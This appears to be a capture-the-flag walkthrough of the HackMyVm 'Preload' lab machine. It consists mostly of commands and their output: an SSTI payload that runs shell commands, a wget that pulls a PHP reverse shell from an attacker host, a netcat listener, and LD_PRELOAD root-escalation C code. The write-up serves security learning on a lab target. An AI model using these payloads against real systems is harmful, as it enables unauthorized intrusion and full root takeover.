HackMyVm Preload Walkthrough
https://hackmyvm.eu/machines/machine.php?vm=Preload
Scan ports.
nmap -sV -sC -p- -oN ports.log 192.168.56.100
Nmap scan report for 192.168.56.100
Host is up (0.0029s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
| 256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_ 256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5000/tcp open landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Scan port 80, but found nothing.
Browse port 5000, get error message.
```bash
- Serving Flask app 'code' (lazy loading)
- Environment: production
•[31m WARNING: This is a development server. Do not use it in a production deployment.•[0m
•[2m Use a production WSGI server instead.•[0m - Debug mode: off
Traceback (most recent call last):
File "/home/paul/code.py", line 18, in <module>
app.run(host="0.0.0.0", port=50000)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 920, in run
run_simple(t.cast(str, host), port, self, **options)
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 1010, in run_simple
inner()
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 950, in inner
srv = make_server(
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 782, in make_server
return ThreadedWSGIServer(
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 688, in init
super().init(server_address, handler) # type: ignore
File "/usr/lib/python3.9/socketserver.py", line 452, in init
self.server_bind()
File "/usr/lib/python3.9/http/server.py", line 138, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.9/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
- Environment: production
Looks like it will start a server at port 50000.
Use telnet to connect port 5000.
~ telnet 192.168.56.100 5000
Trying 192.168.56.100...
Connected to 192.168.56.100.
Escape character is '^]'.
* Serving Flask app 'code' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on all addresses.
WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://127.0.0.1:50000/ (Press CTRL+C to quit)
Then check port 50000, server is on.
~ curl 'http://192.168.56.100:50000' fish-0 | 0 [19:17:57]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.
Either the server is overloaded or there is an error in the application.</p>
The error message told us it's a werkzeug app, so we think about SSTI.
First, we need to fuzz the param name.
~ wfuzz -u 'http://192.168.56.100:50000/?FUZZ=id'
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt --hh 290
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl.
Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.56.100:50000/?FUZZ=id
Total requests: 43003
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001525: 200 0 L 1 W 2 Ch "cmd"
Check if SSTI works.
```bash
~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('i
d').read()}}"
uid=1000(paul) gid=1000(paul) groups=1000(paul)
There is no nc, so we upload a php shell.
```bash
~ curl 'http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%2
7wget%20http://192.168.56.150/r%20-O%20/tmp/reverse.php%27).read()\}\}'
Welcome!!!!!!!!!!!!!â••
~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('l
s%20-la%20/tmp').read()\}\}"
total 76
drwxrwxrwt 9 root root 4096 Jan 12 11:55 .
drwxr-xr-x 18 root root 4096 Nov 30 02:38 ..
drwxrwxrwt 2 root root 4096 Jan 12 08:24 .font-unix
drwxrwxrwt 2 root root 4096 Jan 12 08:24 .ICE-unix
-rw-r--r-- 1 paul paul 5496 Jan 12 11:57 reverse.php
drwx------ 3 root root 4096 Jan 12 08:24 systemd-private-dbfc2da2f510488995fc66521e5b22dd-systemd-logind.service-PH5a
lg
drwx------ 3 root root 4096 Jan 12 08:24 systemd-private-dbfc2da2f510488995fc66521e5b22dd-systemd-timesyncd.service-9
1KaVg
drwxrwxrwt 2 root root 4096 Jan 12 08:24 .Test-unix
drwxrwxrwt 2 root root 4096 Jan 12 08:24 .X11-unix
drwxrwxrwt 2 root root 4096 Jan 12 08:24 .XIM-unix
Get reverse shell as user paul.
~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('p
hp%20-f%20/tmp/reverse.php').read()\}\}"
————————————————————————————————————————————————————————————————————————————————————
~ nc -nlvp 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.56.100.
Ncat: Connection from 192.168.56.100:40638.
Linux preload 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
11:59:37 up 3:35, 0 users, load average: 0.00, 0.05, 0.07
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(paul) gid=1000(paul) groups=1000(paul)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(paul) gid=1000(paul) groups=1000(paul)
$
Check sudo -l.
$ sudo -l
Matching Defaults entries for paul on preload:
env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/s
bin\:/bin
User paul may run the following commands on preload:
(root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail, /usr/bin/head, /usr/bin/ss
Use LD_PRELOAD to get root.
```bash
paul@preload:/tmp$ cat shell.c
cat shell.c
include <stdio.h>
include <sys/types.h>
include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
paul@preload:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function â••_initâ••:
shell.c:6:1: warning: implicit declaration of function â••setgidâ•• [-Wimplicit-function-declaration]
6 | setgid(0);
| ^~
shell.c:7:1: warning: implicit declaration of function â••setuidâ•• [-Wimplicit-function-declaration]
7 | setuid(0);
| ^~
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/cat
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/cat
id
id
uid=0(root) gid=0(root) groups=0(root)